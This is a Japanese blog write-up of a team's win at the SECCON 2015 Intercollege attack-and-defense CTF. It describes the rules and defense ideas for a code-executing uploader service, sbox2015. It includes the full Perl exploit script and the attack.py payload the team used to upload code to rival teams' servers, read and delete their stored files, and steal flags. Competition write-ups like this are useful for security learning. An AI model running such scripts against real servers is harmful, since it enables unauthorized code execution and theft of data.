SECCON 2015 Intercollege 優勝しました

チームdodododoで参加して、29109ptで優勝しました。
チーム構成はakiym, xrekkusu, lrks, hiromuの4人。分担は、攻擊班akiymとlrks、防御班xrekkusuとhiromu。

f:id:akiym:20160131214722p:plain

今回のSECCON Intercollegeは学生限定ということで、通常の決勝とは違う、Attack & Defenseルール。各チームにroot権限サーバが1つ与えられ、その上で3つのサービスが動かす。それぞれに脆弱性があり、それを修正しながら、相手に攻擊するといったもの。

2015.seccon.jp

ルールを簡単に説明すると、5分毎に運営側からSLAのアクセスが飛んできて、動作しているサービスを経由してフラグがどこかに書き込まれる。正しく書き込まれているか確認出来なければdefense scoreが獲得できない、かつ総得点より3%の減点となる。正しくサービスを運用しつつ脆弱性を修正する必要がある。
他チームのフラグを入手し、サブミットすることが出来ればそのチームの3%のスコアを奪うことができる。4時間で攻擊、防御のバランスをどう取るかが難しいところ。

用意された問題は3つ。ジャンルはすべてwebだった。4時間しかないので、バイナリ問題はさすがに出題しなかったか…

vulnerable_blog, keiba

競技中はほぼ見てない。防御班に任せる。

sbox2015

PythonCGIで動いている。OS X, Windowsクライアントが配布されているが、実行するのが怖かったので、CGIソースコードを読んだ。 単純にファイルアップローダ。ただし、アップロードしたファイルをeval.rb, eval.php, eval.pyのいずれかを経由して実行することができる。自由にRuby, PHP, Pythonのコードが実行されてしまう。
ちなみに、eval.pyの中身は以下のようになっている。

#!/usr/bin/python
import sys
g = { "INDATA": sys.argv[2], "OUTDATA": "" }
exec open(sys.argv[1]).read() in g
sys.stdout.write(g["OUTDATA"])

SLAチェックは運営側からOUTDATA = "3630329450522296302958265"のようなリクエストが飛んでくる。問題の趣旨はいかにして、安全なコードを実行しつつ、他チームからの危険なコードを実行させないかである。sandboxのようなものを書いて欲しいのだろう。SLAは単純なので、50文字以上のリクエストを受け付けないようにしてみたところ、他チームから攻擊が確認されなかった。これでいいのか…よくよく考えてみるとexec(INDATA)で回避できる。危ない。
SLAがちゃんとしたものなら、禁止ワードのフィルタをするなり、ファイル読めないようにopenを潰すとかで防ぐのが正攻法のような気がする。もう少し、攻擊と防御の時間があれば、もっと面白いことができそう。
大会終了後に気づいたが、sbox自体のフラグを守るのは簡単で、実行と同時にアップロードされたファイルを消すとか、ディレクトリのパーミッションをrwx---x--xにするだけだった。ただ、sboxを経由して別サービスのパスワードを読むスクリプトがアップロードされていて攻擊されていたので、さすがに任意コードを実行できる状態なのはまずい。

防御ができたところで、相手チームに攻擊するリクエストを投げる。
アップロードしたファイルは特定のディレクトリ以下に保存されるので、ファイルを時刻順に並びかえて中身をすべて出力させるPythonスクリプトを書く。これで対策がされていないチームのフラグを奪うことができる。
他チームに送信してフラグを奪うところまでスクリプトを書いておいて、スコアサーバへのサブミットは自動化が面倒だったので、全手動でやった。
スクリプトはこんなかんじ。急いで書いたので適当。

use v5.16;
use warnings;
use utf8;
use LWP::UserAgent;

my $ua = LWP::UserAgent->new(
    agent => 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36',
);

my @ips = (
    '10.100.2.1',
    '10.100.4.1',
    '10.100.5.1',
    '10.100.7.1',
    '10.100.8.1',
    '10.100.10.1',
    '10.100.12.1',
    '10.100.13.1',
    '10.100.16.1',
    '10.100.17.1',
    '10.100.18.1',

    #'10.100.3.1',
    #'10.100.6.1',
    #'10.100.9.1',
    #'10.100.14.1',
    #'10.100.15.1',
);

for my $ip (@ips) {
    my $url = "http://$ip/cgi-bin/sbox2015/index.cgi";
    my $res = $ua->post($url,
        Content_Type => 'form-data',
        Content => {
            's' => 'upload',
            't' => 'python',
            'f' => ['attack.py'],
        },
    );
    my $play = $res->content;
    if ($play =~ /^2/) {
        $res = $ua->post($url,
            Content_Type => 'form-data',
            Content => {
                's' => 'play',
                'k' => $play,
                'd' => '0',
            },
        );
        my (@files) = $res->content =~ /'(.+?\.txt)'/g;
        $res = $ua->post($url,
            Content_Type => 'form-data',
            Content => {
                's' => 'play',
                'k' => $play,
                'd' => join(',', @files),
            },
        );
        #my ($flag) = $res->content =~ /OUTDATA = "(.+?)"/;
        #say "$ip: $flag";
        my (@flags) = $res->content =~ /OUTDATA = "(.+?)"/g;
        say "$ip:";
        for my $flag (@flags) {
            say $flag;
        }
    } else {
        warn 'fail';
    }
}

attack.py:

import os
import glob
if INDATA != '0':
    OUTDATA = str([open(f).read() for f in INDATA.split(',')])
    os.unlink(INDATA.split(',')[0])
else:
    f = glob.glob('uploadfiles/*')
    f.sort(cmp=lambda x, y: int(os.path.getctime(x) - os.path.getctime(y)), reverse=True)
    OUTDATA = str(f)

まとめ

最終的なスコア。他チームからの攻擊+SLAチェックのfailにより、最終的なdefense scoreがマイナスになった。

f:id:akiym:20160131214727p:plain

攻擊ログが残っていたので、自分のチームの攻擊ポイントをまとめておいた。m1z0r3, MMAからそれぞれ10000ptほど奪うことができたのが大きい。

'akiym' => {
    'Aquarium'        => 1012,
    'IPFactory'       => 453,
    'TomoriNao'       => 643,
    'Yozakura'        => 269,
    'barylite'        => 262,
    'insecure'        => 254,
    'm1z0r3'          => 7169,
    'negainoido'      => 1628,
    'oishiipp'        => 182,
    'omakase'         => 190,
    'security_anthem' => 528
},
'hiromu' => {
    'Aquarium'   => 543,
    'IPFactory'  => 581,
    'Yozakura'   => 192,
    'm1z0r3'     => 304,
    'omakase'    => 50,
    'wasamusume' => 188
},
'lrks' => {
    'MMA'        => 9164,
    'TomoriNao'  => 19,
    'Yozakura'   => 162,
    'insecure'   => 91,
    'm1z0r3'     => 6026,
    'negainoido' => 97,
    'z_kro'      => 93
},
'xrekkusu' => {
    'security_anthem' => 2761
}